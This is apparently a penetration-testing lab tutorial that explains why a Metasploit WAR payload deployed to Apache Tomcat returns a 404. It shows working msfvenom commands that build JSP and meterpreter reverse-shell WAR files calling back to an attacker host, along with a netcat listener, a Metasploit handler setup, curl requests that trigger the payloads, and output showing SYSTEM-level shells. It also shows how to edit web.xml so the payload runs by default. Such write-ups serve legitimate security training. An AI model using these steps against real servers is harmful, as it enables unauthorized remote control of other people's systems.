Why an MsfVenom WAR payload might return a 404
You might have created a payload in a WAR format using MsfVenom, in order to exploit a vulnerability on a server running Apache Tomcat, only to find you get a 404 when navigating to the deployed web application. In this post we'll look at why this happens and how we can successfully run the web application, thereby executing the payload.
This post assumes you have access to the web server and can deploy web applications to Apache Tomcat.
TLDR
The
welcome-file
declaration is most likely missing from theweb.xml
file in the WAR archive. Either:
Request the payload page specifically (look inside the WAR archive for the name of the JSP page).
Update the
web.xml
file to include awelcome-file
declaration and re-deploy your modified WAR file.
A working WAR file¶
Let's take a look at an example of a WAR file that results in a working web application. We'll use the msfvenom
command to create a JSP (JavaServer Pages) payload that starts a reverse shell when requested.
$ msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.10.12.54 \
LPORT=4444 \
-f war \
-o jsp_shell.war
Open up the Tomcat Manager App and deploy the jsp_shell.war
file. Once that's done we can then open a terminal and use netcat to start listening on port 4444.
$ nc -nlvp 4444
listening on [any] 4444 ...
In another terminal we can use curl to request the jsp_shell
web application. Alternatively, you can open the web application in a web browser of your choice.
$ curl -I http://10.10.10.95:8080/jsp_shell/
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
If we switch back to netcat we'll see the payload ran successfully and we now have a reverse shell.
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.12.54] from (UNKNOWN) [10.10.10.95] 49240
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system
A 'broken' WAR file¶
Let's now look at a WAR file that when deployed, returns a 404. While this section's heading suggests the WAR file is broken, that's not really the case, it's just missing some information that makes life easier for us.
This time we'll create a staged payload that uses meterpreter to provide a reverse shell.
$ msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.12.54 \
LPORT=5555 \
-f war \
-o meterpreter_shell.war
Same as before, we need to deploy this new WAR file. Once that's done, let's try and access the web application.
$ curl -I http://10.10.10.95:8080/meterpreter_shell/
HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Unfortunately that didn't work, the server returned a 404. Our web application can't be found and our payload wasn't executed.
What's so different about this WAR file?
Anatomy of a WAR file¶
Wikipedia states a WAR file "is used to distribute a collection of JAR-files, JavaServer Pages, Java Servlets, ... and other resources that together constitute a web application. "
The WAR file itself is just a zip file, which means we can unzip it and inspect the contents. Let's take a look inside the jsp_shell.war
file.
$ unzip jsp_shell.war -d jsp_shell
$ cd jsp_shell
$ tree
.
├── kziygtzg.jsp
└── WEB-INF
└── web.xml
And now let's look inside the meterpreter_shell.war
file.
$ unzip meterpreter_shell.war -d meterpreter_shell
$ cd meterpreter_shell
$ tree
.
├── dzkitothloshf.jsp
├── META-INF
│ └── MANIFEST.MF
└── WEB-INF
└── web.xml
Aside from meterpreter_shell.war
containing a META-INF
directory, the two archives are pretty much the same. It's worth mentioning that the MANIFEST.MF
file only contains the standard manifest header and is not the cause of our issue.
The JSP file in each archive is the payload and we know they aren't causing the 404 because they can't be found.
The interesting file is WEB-INF/web.xml
. This file defines the structure of the web application. Let's examine the web.xml
file in both archives.
jsp_shell/WEB-INF/web.xml
<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<welcome-file-list>
<welcome-file>kziygtzg.jsp</welcome-file>
</welcome-file-list>
</web-app>
meterpreter_shell/WEB-INF/web.xml
<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>ajqrbsqdau</servlet-name>
<jsp-file>/dzkitothloshf.jsp</jsp-file>
</servlet>
</web-app>
There's a significant difference between these two files. The web application that didn't 404 has a welcome-file-list
element whereas the other web application has a servlet
element.
Reading about the structure of a web.xml
file it's apparent the welcome-file-list
element defines default pages to be served by the web server when no specific page is requested. This sounds like the cause of the 404, our meterpreter_shell
web application doesn't serve any page by default.
So how do we make a successful request to our meterpreter_shell
web application?
Solution 1¶
One way around this problem is to request the JSP file directly. In order to do this you will need to unpack the WAR file in order to determine the name of the JSP file (which we did above).
Let's try requesting this file directly.
$ curl -I http://10.10.10.95:8080/meterpreter_shell/dzkitothloshf.jsp
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Great, that worked!
Solution 2¶
Another solution is to set our payload JSP file as the default page in our web application.
$ cp -r meterpreter_shell meterpreter_shell_welcome
$ cd meterpreter_shell_welcome
$ vim WEB-INF/web.xml
After editing, your web.xml
file should now look like the following.
meterpreter_shell/WEB-INF/web.xml
<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>ajqrbsqdau</servlet-name>
<jsp-file>/dzkitothloshf.jsp</jsp-file>
</servlet>
<welcome-file-list>
<welcome-file>dzkitothloshf.jsp</welcome-file>
</welcome-file-list>
</web-app>
Now we just need to package our modified web application into a new WAR file.
$ zip -r meterpreter_shell_welcome.war *
adding: meterpreter_shell_welcome/ (stored 0%)
adding: meterpreter_shell_welcome/META-INF/ (stored 0%)
adding: meterpreter_shell_welcome/META-INF/MANIFEST.MF (stored 0%)
adding: meterpreter_shell_welcome/dzkitothloshf.jsp (deflated 90%)
adding: meterpreter_shell_welcome/WEB-INF/ (stored 0%)
adding: meterpreter_shell_welcome/WEB-INF/web.xml (deflated 39%)
Then undeploy the existing meterpreter_shell
web application and deploy this new version.
Let's jump into metasploit and test this out properly.
$ metasploit
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) >
set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf5 exploit(multi/handler) > set LHOST 10.10.12.54
LHOST => 10.10.12.54
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.12.54:5555
Then we make a HTTP request to our payload.
$ curl -I http://10.10.10.95:8080/meterpreter_shell_welcome/
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
We no longer receive a 404! Let's check metasploit and see if we obtained a shell.
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.12.54:5555
[*] Sending stage (201283 bytes) to 10.10.10.95
[*] Meterpreter session 1 opened
(10.10.12.54:5555 -> 10.10.10.95:49238)
at 2020-06-26 10:01:30 +1000
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
As you can see, the payload executed successfully and we were given a meterpreter shell.